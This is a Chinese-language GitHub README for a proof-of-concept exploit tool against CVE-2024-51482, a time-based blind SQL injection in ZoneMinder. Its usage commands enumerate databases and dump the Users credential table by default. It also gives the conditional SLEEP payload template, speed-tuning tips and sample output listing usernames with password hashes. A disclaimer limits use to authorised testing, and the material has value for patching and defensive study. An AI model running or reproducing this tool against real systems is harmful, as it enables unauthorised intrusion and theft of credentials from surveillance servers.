plur1bu5/CVE-2024-51482-PoC

GitHub: plur1bu5/CVE-2024-51482-PoC

针对 ZoneMinder 视频监控系统 CVE-2024-51482 认证型时间盲注漏洞的专用利用工具,支持多线程数据提取和 sqlmap 风格的数据库枚举操作。

Stars: 4 | Forks: 0

# CVE-2024-51482-PoC 针对 **ZoneMinder v1.37.* <= 1.37.64** 的认证型时间盲注 SQL injection 漏洞利用工具 ## 🎯 概述 这是一个针对 CVE-2024-51482 的概念验证漏洞利用代码,该漏洞存在于 ZoneMinder 的事件管理功能中,属于时间盲注 SQL injection 漏洞。该漏洞利用需要认证,并使用条件 SLEEP 查询从数据库中提取数据。 ## ✨ 功能特性 - ✅ **认证漏洞利用** - 支持使用凭据或 session cookie 登录 - ✅ **长度检测** - 在提取数据前使用二分查找确定精确的字符串长度 - ✅ **并行提取** - 采用多线程字符提取以提高速度 - ✅ **sqlmap 风格选项** - 支持枚举数据库、表、列以及转储数据 - ✅ **安全默认值** - 默认 3s 延迟,5 线程,确保高准确性 - ✅ **进度跟踪** - 带有详细模式的实时提取进度显示 - ✅ **清晰输出** - 以格式化表格形式展示转储的数据 ## 📋 系统要求 ``` pip install requests ``` ## 🚀 快速开始 ### 默认模式 - 转储凭据 ``` python3 poc.py -t example.local -u admin -p password ``` ### 使用 Session Cookie ``` python3 poc.py -t example.local --cookie 'ZMSESSID_value' ``` ### 详细模式 ``` python3 poc.py -t example.local -u admin -p password -v ``` ## 📖 使用说明 ### 枚举数据库 ``` python3 poc.py -t example.local -u admin -p password --dbs ``` ### 枚举表 ``` python3 poc.py -t example.local -u admin -p password -D zm --tables ``` ### 枚举列 ``` python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns ``` ### 转储指定表 ``` python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump ``` ## ⚙️ 选项 ``` Required: -t, --target TARGET Target URL (IP, hostname, or full URL) Authentication: -u, --username USERNAME Username for authentication -p, --password PASSWORD Password for authentication --cookie COOKIE Session cookie (ZMSESSID) Enumeration: --dbs Enumerate databases -D, --database DATABASE Database to use --tables Enumerate tables -T, --table TABLE Table to use --columns Enumerate columns --dump Dump table data Performance: --delay DELAY Time delay in seconds (default: 3, safe) --threads THREADS Number of threads (default: 5, safe) -v, --verbose Show extraction progress ``` ## 🎛️ 性能调优 ### 安全模式 (推荐) ``` python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5 ``` - **速度**: 每个密码哈希约 2-3 分钟 - **准确性**: ✅ 高 ### 快速模式 (可能出现错误) ``` python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20 ``` - **速度**: 每个密码哈希约 30-60 秒 - **准确性**: ⚠️ 可能产生错误的字符 ## 📊 示例输出 ``` [*] Target: http://example.local [*] Delay: 3s | Threads: 5 [+] Authenticated as admin [*] Testing vulnerability... [+] Target is VULNERABLE! [*] Default mode: Dumping zm.Users credentials... [*] Dumping data from 'zm.Users'... [+] Extracted: admin [+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm [+] Extracted: john [+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG. ==================================================================================== | Username | Password | ==================================================================================== | admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm | | john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. | ==================================================================================== [+] 2 entries dumped ``` ## 🔧 工作原理 1. **认证** - 使用凭据登录或使用提供的 session cookie 2. **漏洞测试** - 使用简单的 SLEEP payload 确认目标存在漏洞 3. **长度检测** - 使用二分查找确定精确的字符串长度 4. **并行提取** - 同时提取所有字符位置的数据 5. **数据展示** - 将结果格式化为清晰的表格 ### Payload 格式 该漏洞利用工具使用 sqlmap 风格的条件 SLEEP: ``` 1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test) ``` - **TRUE 条件**: 无延迟 (0 秒) - **FALSE 条件**: 完全延迟 (3 秒) ## 🐛 故障排除 ### 结果不准确 如果您得到错误的字符(例如 `$` 变成了 `8`): ``` # 增加延迟并减少 threads python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3 ``` ### 速度太慢 如果提取速度太慢: ``` # 减少延迟并增加 threads (可能会降低准确性) python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10 ``` ### 未找到数据 如果默认的 `zm.Users` 不存在: ``` # 首先枚举 databases python3 poc.py -t example.local -u admin -p password --dbs # 然后枚举 tables python3 poc.py -t example.local -u admin -p password -D database_name --tables ``` ## 📝 CVE 信息 - **CVE ID**: CVE-2024-51482 - **受影响版本**: ZoneMinder v1.37.* <= 1.37.64 - **修复版本**: v1.37.65 - **漏洞类型**: Time-based Blind SQL Injection (时间盲注) - **CVSS 评分**: 待定 ## ⚠️ 免责声明 本工具仅供**教育和授权安全测试目的使用**。 - 请勿对您不拥有或未获得明确测试许可的系统使用此工具 - 未经授权访问计算机系统是非法行为 - 作者不对因使用或滥用此工具而造成的任何损害负责 - 在进行安全评估之前,请务必获得适当的授权 ## 📚 参考资料 - [NVD - CVE-2024-51482](https://nvd.nist.gov/vuln/detail/CVE-2024-51482) - [ZoneMinder GitHub](https://github.com/ZoneMinder/zoneminder) ## 📄 许可证 本项目仅供教育目的。请负责任且合乎道德地使用。 **⭐ 如果您觉得这个工具有用,请给仓库点个 Star!**
标签:CISA项目, CVE, CVE-2024-51482, N-day, PoC, Python, sqlmap, Web安全, ZoneMinder, 二分搜索, 攻击脚本, 数字签名, 数据提取, 无后门, 时间盲注, 暴力破解, 概念验证, 漏洞复现, 盲注, 网络安全, 蓝队分析, 认证后漏洞, 逆向工具, 隐私保护